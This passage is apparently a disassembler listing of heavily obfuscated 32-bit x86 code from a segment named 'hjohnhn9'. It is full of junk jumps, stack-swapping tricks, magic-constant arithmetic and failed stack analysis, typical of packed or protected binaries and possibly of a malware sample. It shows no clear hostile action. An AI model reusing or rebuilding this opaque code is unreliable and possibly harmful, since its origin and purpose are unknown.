		mov	esi, edi
		pop	edi
		jmp	loc_428636
sub_424928	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424941:				; CODE XREF: hjohnhn9:00428935j
		jmp	loc_427F09

; =============== S U B	R O U T	I N E =======================================



sub_424946	proc near		; CODE XREF: hjohnhn9:00426BCDj
					; sub_42325E:loc_428EBFp

; FUNCTION CHUNK AT 004281EA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429018 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, ebp
		add	ebx, 0D9BF36A1h
		mov	ebx, [ebx]


loc_424954:				; CODE XREF: sub_4251EB+DFCj
		popf
		add	edx, ebx
		jmp	loc_429018
sub_424946	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, 7427B536h
		jmp	loc_426CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_424967:				; CODE XREF: sub_424819:loc_423394j
		pop	eax
		add	eax, 5B709358h
		rol	eax, 1Eh
		push	offset sub_4283C9
		jmp	loc_4242E3
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42497B:				; CODE XREF: sub_4260BD+228Fj
		pop	ebx


loc_42497C:				; CODE XREF: hjohnhn9:00425F73j
		cmp	dword ptr [ebp-8], 0
		jnz	loc_42763E
		jmp	loc_426E4D
; ---------------------------------------------------------------------------


loc_42498B:				; CODE XREF: sub_4260BD-264Dj
		mov	[ebx], eax
		pop	ebx
		xor	eax, eax
		push	ebx
		jmp	loc_423CA1
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------


loc_424996:				; DATA XREF: sub_425EEA-2067o
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_423F3D
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4249A3:				; CODE XREF: sub_424631+907j
					; sub_424631+2A7Aj ...
		jb	loc_428DD1
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		call	sub_4281B9


loc_4249B5:				; CODE XREF: sub_42303E+40EAj
		jmp	loc_425040
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_4249BA:				; CODE XREF: hjohnhn9:00425BB3j
		jmp	loc_42688E

; =============== S U B	R O U T	I N E =======================================



sub_4249BF	proc near		; DATA XREF: sub_42472Do
		push	ebx
		mov	ebx, ebp
		push	offset loc_42821A
		jmp	nullsub_9
sub_4249BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_4249CC:				; CODE XREF: sub_4279C0:loc_423D42j
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		call	sub_426A78


loc_4249D7:				; CODE XREF: sub_428F4A+9j
		jmp	loc_425F5B
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_4249DC:				; CODE XREF: sub_4231AD+4DFDj
		jmp	nullsub_45
; END OF FUNCTION CHUNK	FOR sub_4231AD

; =============== S U B	R O U T	I N E =======================================



sub_4249E1	proc near		; CODE XREF: hjohnhn9:004246EFp
					; hjohnhn9:00428A23j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423EB7 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edi, [esp+0]
		mov	ecx, eax
		xchg	ecx, [esp+0]
		jmp	loc_423EB7
sub_4249E1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebp, 93E12E7Eh
		jmp	sub_426523
; ---------------------------------------------------------------------------
		sub	esi, 3FFC6C71h
		jmp	sub_428309
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_424A07:				; CODE XREF: sub_42851A:loc_429107j
		cmp	edx, 5259E0A8h
		jmp	loc_424E6B
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_424A12:				; CODE XREF: sub_4260BD+158Bj
		jl	loc_426D93
		jmp	loc_426325
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42897B


loc_424A1D:				; CODE XREF: sub_42897B-3A0Aj
		mov	eax, [ebp-8]
		sub	[ebp-0Ch], eax
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42897B

; =============== S U B	R O U T	I N E =======================================



sub_424A28	proc near		; CODE XREF: sub_423548+4p sub_423F65p

; FUNCTION CHUNK AT 00424824 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004276BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427ACF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004284A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042872F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004289C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428EAA SIZE 00000015 BYTES

		jnb	loc_424824
		jmp	loc_42872F
sub_424A28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_424A33:				; CODE XREF: sub_42304F+503Bj
		push	eax
		jmp	loc_4274F9
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_424A39:				; CODE XREF: sub_4244F5+Dj
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_4290DF
; END OF FUNCTION CHUNK	FOR sub_4244F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_424A46:				; CODE XREF: sub_4237F4:loc_423963j
		xor	ecx, 49492E6Ch
		pushf
		rol	ecx, 4
		jmp	loc_4243D4
; END OF FUNCTION CHUNK	FOR sub_4237F4

; =============== S U B	R O U T	I N E =======================================



sub_424A55	proc near		; CODE XREF: sub_426287+3j

; FUNCTION CHUNK AT 00424C81 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004286DD SIZE 00000009 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]


loc_424A5E:				; CODE XREF: hjohnhn9:loc_427B6Dj
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 10h
		jmp	loc_4286DD
sub_424A55	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	esi, eax
		jmp	sub_425E49
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424A75:				; CODE XREF: hjohnhn9:004281E5j
		mov	esi, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_424A78	proc near		; CODE XREF: sub_4234CA+4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042380B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423FE9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004242D9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004248CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424AA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C0C SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00426BDF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00426DAA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427637 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427800 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427984 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282EF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00428B8A SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_424698
		jmp	loc_424C33
sub_424A78	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_424F76
		jmp	loc_4271A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_424A92:				; CODE XREF: sub_423F65+1345j
		cmp	ebp, 0A0055B9Fh
		jmp	loc_424F8B
; END OF FUNCTION CHUNK	FOR sub_423F65

; =============== S U B	R O U T	I N E =======================================



sub_424A9D	proc near		; DATA XREF: hjohnhn9:004266F3o
		push	eax
		call	sub_4244F5
		retn
sub_424A9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_424AA4:				; CODE XREF: sub_424A78+1C9j
		jmp	loc_424C0C
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279ED


loc_424AA9:				; CODE XREF: sub_4279ED-3540j
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_4279ED

; =============== S U B	R O U T	I N E =======================================



sub_424AAE	proc near		; CODE XREF: sub_426475-2F96p
					; sub_424335+4p ...
		mov	eax, 54F79355h

locret_424AB3:				; CODE XREF: hjohnhn9:0042776Aj
		retn
sub_424AAE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_424AB4:				; CODE XREF: sub_425BD2+174Dj
		jmp	loc_424E86
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_424AB9:				; CODE XREF: sub_427564:loc_42756Bj
		call	sub_424AAE
		push	0B95E2A78h
		pop	edx
		jmp	loc_428B22
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------


loc_424AC9:				; CODE XREF: hjohnhn9:00423972j
		push	esi
; START	OF FUNCTION CHUNK FOR sub_428477


loc_424ACA:				; CODE XREF: sub_428477:loc_42395Dj
		and	edx, 0AFC9BF05h
		xor	edx, 17C11FA5h
		add	edx, ebp
		jmp	loc_424CC8
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------

locret_424ADD:				; CODE XREF: hjohnhn9:00423FB4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_424ADE:				; CODE XREF: sub_4262C5-145Fj
		jmp	loc_423466
; END OF FUNCTION CHUNK	FOR sub_4262C5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424AE3	proc near		; CODE XREF: hjohnhn9:00423FAAp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]


loc_424AEC:				; CODE XREF: hjohnhn9:00424BE4j
		mov	[ebp+var_4], eax
		call	sub_427E7B
		jmp	loc_424F48
sub_424AE3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_424AF9:				; CODE XREF: sub_4244F5-2AFj
		push	82D50C2h
		adc	eax, esi


loc_424B00:				; CODE XREF: sub_4244F5:loc_424238j
		rol	ecx, 12h
		add	ecx, 83F71552h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_425E44
; END OF FUNCTION CHUNK	FOR sub_4244F5
; ---------------------------------------------------------------------------


loc_424B11:				; CODE XREF: hjohnhn9:00425024j
		cmp	eax, 5BF3FC7Eh
		jmp	loc_428626
; ---------------------------------------------------------------------------


loc_424B1C:				; CODE XREF: hjohnhn9:00427C52j
					; DATA XREF: sub_427C43o
		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		push	offset sub_424EA4
		jmp	locret_427876

; =============== S U B	R O U T	I N E =======================================



sub_424B30	proc near		; CODE XREF: sub_424631-6F1p
					; hjohnhn9:00428D7Bj
		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		call	sub_423655


loc_424B3F:				; CODE XREF: sub_423B05+913j
		jmp	nullsub_10
sub_424B30	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_424B45:				; CODE XREF: sub_423B05+15j
		jmp	loc_4230CE
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_424B4A	proc near		; DATA XREF: sub_426354+Eo

; FUNCTION CHUNK AT 0042666C SIZE 00000005 BYTES

		jnz	loc_426938
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_42666C
sub_424B4A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_424B60:				; CODE XREF: sub_426354+4j
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_426938
		jmp	loc_425EC5
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------


loc_424B6F:				; CODE XREF: hjohnhn9:00423312j
		jz	loc_42476D
		jmp	loc_4270CA
; ---------------------------------------------------------------------------
		popf
		jmp	sub_427B7A
; ---------------------------------------------------------------------------
		mov	ebp, 849A51Eh
		jmp	sub_426C1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_424B8A:				; CODE XREF: sub_42363F+1227j
		not	ecx
		cmp	eax, 61EBB8C1h
		jmp	loc_427491
; END OF FUNCTION CHUNK	FOR sub_42363F

; =============== S U B	R O U T	I N E =======================================



sub_424B97	proc near		; DATA XREF: hjohnhn9:00423998o

; FUNCTION CHUNK AT 00424EBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042741C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042829E SIZE 00000025 BYTES

		mov	esp, ebp
		xchg	edx, [esp+0]
		push	edx
		pop	ebp
		jmp	loc_424EBE
sub_424B97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_424BA3:				; CODE XREF: sub_4278DC+7B9j
		jz	loc_427B3C
		jmp	loc_424C01
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_424BAE:				; CODE XREF: sub_4236A7+5986j
		jl	loc_42706D
; END OF FUNCTION CHUNK	FOR sub_4236A7
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_424BB4:				; CODE XREF: sub_423CDB:loc_42626Aj
		jmp	loc_426762
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
		or	edi, 86054EE6h
		jnz	loc_425CC2
		and	esi, edx
		test	eax, edx
		jmp	loc_428F2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_424BCE:				; CODE XREF: sub_4263E3:loc_4265E9j
		pop	ebp
		push	offset sub_4262C2
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_424BD9:				; CODE XREF: sub_42466E:loc_425D3Dj
		jle	loc_42476D
		jmp	loc_423BB8
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
		jg	loc_424AEC
		mov	[ebp+0], ecx
		jmp	sub_424631
; ---------------------------------------------------------------------------


loc_424BF2:				; DATA XREF: sub_4279ED-3545o
		cmp	dword ptr [ebp-4], 0
		jz	loc_4244EE
		call	sub_4289A4
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_424C01:				; CODE XREF: sub_4278DC-2D33j
		jmp	loc_423D54
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_42441D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_424C0C:				; CODE XREF: sub_424A78:loc_424AA4j
		jz	loc_426BDF
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_423B6C
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_4242D9
; ---------------------------------------------------------------------------


loc_424C24:				; CODE XREF: sub_424A78:loc_424C37j
		test	byte ptr [ebp-7], 8
		jz	loc_426BDF
		jmp	loc_427800
; ---------------------------------------------------------------------------


loc_424C33:				; CODE XREF: sub_424A78+9j
		pop	ecx
		mov	[ebp-20h], eax


loc_424C37:				; CODE XREF: sub_427B51+11j
					; sub_428162+Dj ...
		jz	loc_424C24
		test	byte ptr [ebp-7], 8
		jmp	loc_424AA4
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_424C46:				; CODE XREF: sub_4237F4-401j
					; sub_424631:loc_4264F5j
		mov	[edx-18h], eax
		inc	[ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-18h]
		and	eax, 7
		push	offset loc_423DA8
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_4237F4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424C5F	proc near		; CODE XREF: sub_423F65+432Cp

; FUNCTION CHUNK AT 004263D8 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		call	sub_424EC9


loc_424C6A:				; DATA XREF: sub_425CB3+1BB2o
		push	eax
		push	offset sub_4279C8
		jmp	loc_4263D8
sub_424C5F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279ED


loc_424C76:				; CODE XREF: sub_4279ED+15j
		jmp	loc_4244A3
; END OF FUNCTION CHUNK	FOR sub_4279ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_424C7B:				; CODE XREF: sub_423BC3+3C76j
		jmp	loc_42465F
; END OF FUNCTION CHUNK	FOR sub_423BC3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A55


loc_424C81:				; CODE XREF: sub_424A55:loc_4286DDj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_424C97
		add	dword ptr [ebp-8], 4
		jmp	loc_4286E6
; ---------------------------------------------------------------------------


loc_424C97:				; CODE XREF: sub_424A55+233j
		add	dword ptr [ebp-8], 2
		jmp	loc_426B92
; END OF FUNCTION CHUNK	FOR sub_424A55
; ---------------------------------------------------------------------------
		call	sub_427324
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_424CA5:				; CODE XREF: sub_423CDB+472Cj
		jmp	loc_428851
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_424CAA:				; CODE XREF: sub_424631+1FFCj
		jmp	loc_426535
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------


loc_424CAF:				; CODE XREF: hjohnhn9:00424F15j
		and	ebx, 6E04C0F0h
		mov	[ebp+0], edx
		test	ecx, ebx
		jmp	loc_427EF5
; ---------------------------------------------------------------------------
		shr	edx, 1Ah
		popf
		jmp	sub_423655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_424CC8:				; CODE XREF: sub_428477-399Fj
		add	edx, 0C43ED46Bh
		mov	edx, [edx]
		xchg	edx, [esp+0]


loc_424CD3:				; CODE XREF: hjohnhn9:00423A8Dj
		push	[ebp+arg_4]
		push	eax
		push	3F802B24h
		jmp	loc_424DE2
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
		cmp	edx, 42E40086h
		jmp	loc_426E86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_424CEC:				; CODE XREF: sub_4231AD+3746j
		and	ax, 38FFh
		cmp	ax, 20FFh
		jz	loc_427555
		xor	eax, eax


loc_424CFC:				; CODE XREF: sub_4231AD+43AAj
		mov	[ebp-5], al
		jmp	loc_4265C8
; END OF FUNCTION CHUNK	FOR sub_4231AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_424D04:				; CODE XREF: sub_427AC0:loc_423B3Ej
		jz	loc_424705
		xchg	ebp, [edi]
		jmp	loc_424703
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_424D11:				; CODE XREF: sub_4250FC-1D98j
		pop	eax


loc_424D12:				; CODE XREF: hjohnhn9:loc_4232F7j
		mov	eax, 400h
		push	ecx
		push	52D8C801h
		xchg	eax, [esp+0]
		jmp	loc_423114
; END OF FUNCTION CHUNK	FOR sub_4250FC

; =============== S U B	R O U T	I N E =======================================



sub_424D25	proc near		; CODE XREF: hjohnhn9:00424385j
					; sub_427032:loc_42448Cp
		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_427039
		retn
sub_424D25	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424D38	proc near		; CODE XREF: hjohnhn9:00423140j
					; sub_4244F5p

; FUNCTION CHUNK AT 00423958 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428AAC SIZE 0000000F BYTES

		xchg	edx, [esp+0]


loc_424D3B:				; CODE XREF: hjohnhn9:00425116j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		call	nullsub_2


loc_424D4A:				; CODE XREF: sub_4250FC+1823j
		mov	eax, [ebp-4]
		jmp	loc_428AAC
sub_424D38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_424D52:				; CODE XREF: sub_427486:loc_42721Dj
		add	eax, 0FB3E126Ch
		push	offset loc_427661
		jmp	loc_42850B
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_424D63:				; CODE XREF: sub_42851A+3j
		jmp	loc_428951
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_424D68:				; CODE XREF: sub_424161-F65j
		jmp	loc_426C7F
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_424D6D:				; CODE XREF: sub_426354-475j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_4252DC[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_4283BF
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_428945
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_424D8C:				; CODE XREF: sub_42304F:loc_426EF9j
		movzx	eax, word ptr [eax]
		push	offset word_423E06
		jmp	loc_428F45
; END OF FUNCTION CHUNK	FOR sub_42304F

; =============== S U B	R O U T	I N E =======================================



sub_424D99	proc near		; DATA XREF: sub_428CE7:loc_428E3Co

; FUNCTION CHUNK AT 00423C1A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00423EF4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424003 SIZE 00000005 BYTES

		push	1EC7B0C3h
		pop	ebx
		sub	ebx, 961ABD41h
		cmp	ebx, 605F4E86h
		jmp	loc_424003
sub_424D99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424DB0:				; DATA XREF: sub_4275A3:loc_425CD2o
		add	edx, 0A38B8F95h
		add	edx, ebp
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_424DB8:				; CODE XREF: sub_4260BD:loc_426D8Cj
		add	edx, 9FDC25DBh
		mov	[edx], eax
		pop	edx
		jmp	loc_4239D3
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------


loc_424DC6:				; CODE XREF: hjohnhn9:loc_4268B3j
		inc	ds:dword_4233C4
		lea	eax, nullsub_118
		jmp	loc_425FB1
; ---------------------------------------------------------------------------


loc_424DD7:				; DATA XREF: sub_4244F5:loc_42681Do
		push	eax
		push	0
		push	eax
		mov	eax, ebx
		jmp	loc_428E39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_424DE2:				; CODE XREF: sub_428477-379Bj
		xchg	edx, [esp+0Ch+var_C]
		mov	eax, edx
		pop	edx
		xor	eax, ds:4000F6h
		and	eax, 7E3752A7h
		xor	eax, 0D8CB25EAh
		or	eax, 0D65B20F8h
		jmp	loc_4279E3
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424564


loc_424E05:				; CODE XREF: sub_424564:loc_42456Dj
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_4252DC[eax*4],	0
		jz	loc_42755C
		mov	eax, [ebp+var_4]


loc_424E1C:				; CODE XREF: hjohnhn9:00426EA7j
		cmp	byte ptr [eax],	0CFh
		jmp	loc_426547
; END OF FUNCTION CHUNK	FOR sub_424564
; ---------------------------------------------------------------------------
dword_424E24	dd 1E6E8h, 0FC08400h, 1D884h, 0E57AE900h ; DATA	XREF: sub_427E7Bo
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42392D


loc_424E36:				; CODE XREF: sub_42392D:loc_428AE8j
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_428728
		mov	dword ptr [ebp-8], 1
		jmp	loc_4244E4
; END OF FUNCTION CHUNK	FOR sub_42392D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E4F	proc near		; CODE XREF: sub_42392Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 004244D3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042634F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004265B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428728 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428B82 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_1], al
		jmp	loc_42634F
sub_424E4F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424E5D	proc near		; CODE XREF: sub_4262C5:loc_423B1Fp
					; hjohnhn9:00427F7Dj
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebp
		retn
sub_424E5D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_424E63:				; CODE XREF: sub_4262C5-2A24j
					; sub_428447+4j
		mov	eax, [ebp-4]
		jmp	loc_424ADE
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_424E6B:				; CODE XREF: sub_42851A-3B0Dj
					; sub_42325E:loc_428B46j
		ja	loc_423B46
		push	0B6B4C19Fh
; END OF FUNCTION CHUNK	FOR sub_42325E
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_424E76:				; CODE XREF: sub_42851A:loc_4269E6j
		call	sub_424877
		mov	edx, 95918C9Dh
		push	ebx
		jmp	loc_424EF1
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_424E86:				; CODE XREF: sub_425BD2:loc_424AB4j
		mov	ebp, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424377


loc_424E8A:				; CODE XREF: sub_424377+3j
		jmp	loc_42777F
; END OF FUNCTION CHUNK	FOR sub_424377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_424E8F:				; CODE XREF: sub_428477-4A96j
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_424E94:				; CODE XREF: sub_427486:loc_4271F2j
		push	offset loc_4266F0


loc_424E99:				; CODE XREF: sub_426A78:loc_425F15j
		jmp	loc_4263D3
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_424E9F:				; CODE XREF: sub_42355C+2B37j
		jmp	loc_425C40
; END OF FUNCTION CHUNK	FOR sub_42355C

; =============== S U B	R O U T	I N E =======================================



sub_424EA4	proc near		; DATA XREF: hjohnhn9:00424B26o
		jz	nullsub_106
sub_424EA4	endp ; sp-analysis failed

